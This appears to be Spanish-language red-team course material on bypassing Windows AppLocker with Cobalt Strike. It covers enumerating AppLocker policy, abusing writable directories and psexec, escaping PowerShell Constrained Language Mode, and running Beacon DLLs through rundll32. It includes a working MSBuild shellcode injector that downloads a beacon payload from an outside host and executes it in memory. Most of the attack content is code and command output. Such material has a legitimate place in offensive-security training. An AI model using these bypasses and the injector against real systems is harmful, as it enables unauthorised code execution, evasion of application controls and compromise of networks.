Application Whitelisting
AppLocker
AppLocker es una tecnología de whitelisting de aplicaciones incorporada en el sistema operativo Windows. Su propósito es restringir las aplicaciones y scripts que se permiten ejecutar en una máquina, definidos a través de un conjunto de políticas que se implementan mediante GPO. Las reglas pueden basarse en atributos de archivo como editor, nombre, versión, hash o ruta; pueden ser para "permitir" o "denegar"; y pueden asignarse a usuarios individuales o grupos.
AppLocker también cambiará el Language Mode de PowerShell de FullLanguage a ConstrainedLanguage. Esto restringe los tipos .NET que pueden utilizarse, evitando el uso de Add-Type con cualquier código arbitrario en C#, así como New-Object en tipos que no estén específicamente permitidos.
Como defensa, AppLocker es tan bueno como el conjunto de reglas definidas. Microsoft proporciona reglas predeterminadas, que son muy amplias y permiten todos los ejecutables y scripts ubicados en los directorios Program Files y Windows.
Policy Enumeration
Info
AppLocker está aplicado a dc.dev-studio.com.
La política puede leerse desde dos lugares: directamente desde el GPO o desde el registro local de una máquina donde se aplican. Leer desde el GPO es el mismo proceso que con LAPS: encontrar el GPO, descargar el archivo Registry.pol desde gpcfilesyspath y analizarlo con Parse-PolFile.
beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
displayname gpcfilesyspath
----------- --------------
AppLocker \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}
beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol
[*] started download of \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol (7616 bytes)
[*] download of Registry.pol is complete
Aquí hay un ejemplo de una de las reglas ejecutables, contenida en el campo ValueData.
KeyName : Software\Policies\Microsoft\Windows\SrpV2\Exe\a61c8b2c-a319-4cd0-9690-d2177cad7b51
ValueName : Value
ValueType : REG_SZ
ValueLength : 700
ValueData : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the
Windows folder" Description="Allows members of the Everyone group to run applications that are located
in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
Path="%WINDIR%\*"/></Conditions></FilePathRule>
Son bastante autoexplicativas: esta regla permitirá a todos ejecutar ejecutables ubicados dentro del directorio de Windows. Si estás en una máquina local, puedes consultar el registro en HKLM:Software\Policies\Microsoft\Windows\SrpV2 para obtener lo mismo.
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"
Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2
Name Property
---- --------
Appx EnforcementMode : 1
AllowWindows : 0
Dll AllowWindows : 0
Exe EnforcementMode : 1
AllowWindows : 0
Msi EnforcementMode : 1
AllowWindows : 0
Script EnforcementMode : 1
AllowWindows : 0
Info
Ten en cuenta que las reglas de DLL no se aplican. Esto es común porque Microsoft indica que puede afectar el rendimiento del sistema.
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"
Hive: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe
Name Property
---- --------
921cc481-6e17-4653-8f75-050b80 Value : <FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows
acca20 members of the Everyone group to
run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
Path="%PROGRAMFILES%\*"/></Conditions></FilePathRule>
a61c8b2c-a319-4cd0-9690-d2177c Value : <FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members
ad7b51 of the Everyone group to run
applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition
Path="%WINDIR%\*"/></Conditions></FilePathRule>
El cmdlet Get-ChildItem está permitido bajo CLM.
PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
Writeable Paths
Las reglas predeterminadas permiten la ejecución desde cualquier lugar dentro de C:\Program Files y C:\Windows (incluyendo subdirectorios). Moverse lateralmente a una máquina protegida mediante psexec es trivial, porque el ejecutable del servicio se escribe en C:\Windows.
beacon> jump psexec64 dc.dev-studio.com smb
Started service b8f5313 on dc.dev-studio.com
[+] established link to child beacon: 10.10.150.10
Si estás en una máquina protegida como usuario estándar, hay varios directorios dentro de C:\Windows que son escribibles. Un ejemplo es C:\Windows\Tasks. Esto nos permitiría copiar un ejecutable en este directorio y ejecutarlo.
beacon> powershell Get-Acl C:\Windows\Tasks | fl
Path : Microsoft.PowerShell.Core\FileSystem::C:\Windows\Tasks
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow 268435456
NT AUTHORITY\Authenticated Users Allow CreateFiles, ReadAndExecute, Synchronize <---
NT AUTHORITY\SYSTEM Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow 268435456
BUILTIN\Administrators Allow FullControl
Audit :
Sddl : O:SYG:SYD:PAI(A;OICIIO;GA;;;CO)(A;;0x1200ab;;;AU)(A;OICIIO;GA;;;SY)(A;;FA;;;SY)(A;OICIIO;GA;;;BA)(A;;FA;;;BA)
Al enumerar las reglas, también puedes encontrar reglas débiles adicionales que los administradores del sistema hayan agregado. Este es un ejemplo de una regla que realmente he visto en producción:
<FilePathCondition Path="*\AppV\*"/>
Living Off The Land Binaries, Scripts and Libraries
Conocidos coloquialmente como LOLBAS, estos son ejecutables y scripts que vienen como parte de Windows pero permiten la ejecución de código arbitrario. Nos permiten eludir AppLocker, porque se les permite ejecutarse bajo los criterios de permiso normales: existen en rutas confiables (C:\Windows y C:\Program Files) y también pueden estar firmados digitalmente por Microsoft.
El sitio web LOLBAS contiene cientos de ejemplos que pueden utilizarse. Usemos MSBuild como demo: si no está bloqueado, puede utilizarse para ejecutar código arbitrario en C# desde un archivo .csproj o .xml.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("Hello World");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Esto podría convertirse en un inyector básico de shellcode.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Net;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
byte[] shellcode;
using (var client = new WebClient())
{
client.BaseAddress = "http://nickelviper.com";
shellcode = client.DownloadData("beacon.bin");
}
var hKernel = LoadLibrary("kernel32.dll");
var hVa = GetProcAddress(hKernel, "VirtualAlloc");
var hCt = GetProcAddress(hKernel, "CreateThread");
var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);
var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);
var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(t, 0xFFFFFFFF);
return true;
}
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Info
Puedes usar http_x64.xprocess.bin aquí y alojarlo en el Cobalt Strike Team Server mediante Site Management > Host File.
PowerShell CLM
Si intentas ejecutar un script o comando en PowerShell y ves un error como "only core types in this language mode", entonces sabes que estás operando en un entorno restringido. Si puedes encontrar un bypass de AppLocker para ejecutar código arbitrario, también puedes salir del Constrained Language Mode de PowerShell usando un runspace de PowerShell no administrado. Si tienes un Beacon ejecutándose en un objetivo, esto es exactamente lo que hace powerpick.
beacon> powershell $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
beacon> powerpick $ExecutionContext.SessionState.LanguageMode
FullLanguage
Esto también puede hacerse en C# (usando MSBuild como ejemplo nuevamente).
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<MSBuildTest/>
</Target>
<UsingTask
TaskName="MSBuildTest"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Linq;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class MSBuildTest : Task, ITask
{
public override bool Execute()
{
using (var runspace = RunspaceFactory.CreateRunspace())
{
runspace.Open();
using (var posh = PowerShell.Create())
{
posh.Runspace = runspace;
posh.AddScript("$ExecutionContext.SessionState.LanguageMode");
var results = posh.Invoke();
var output = string.Join(Environment.NewLine, results.Select(r => r.ToString()).ToArray());
Console.WriteLine(output);
}
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Beacon DLL
Como se mencionó anteriormente, la aplicación de DLL no suele estar habilitada, lo que nos permite llamar a funciones exportadas desde DLL en disco mediante rundll32. La carga útil DLL de Beacon expone varias exportaciones, incluidas DllMain y StartW. Estas pueden modificarse en el Artifact Kit bajo src-main, dllmain.def.
C:\Windows\System32\rundll32.exe http_x64.dll,StartW

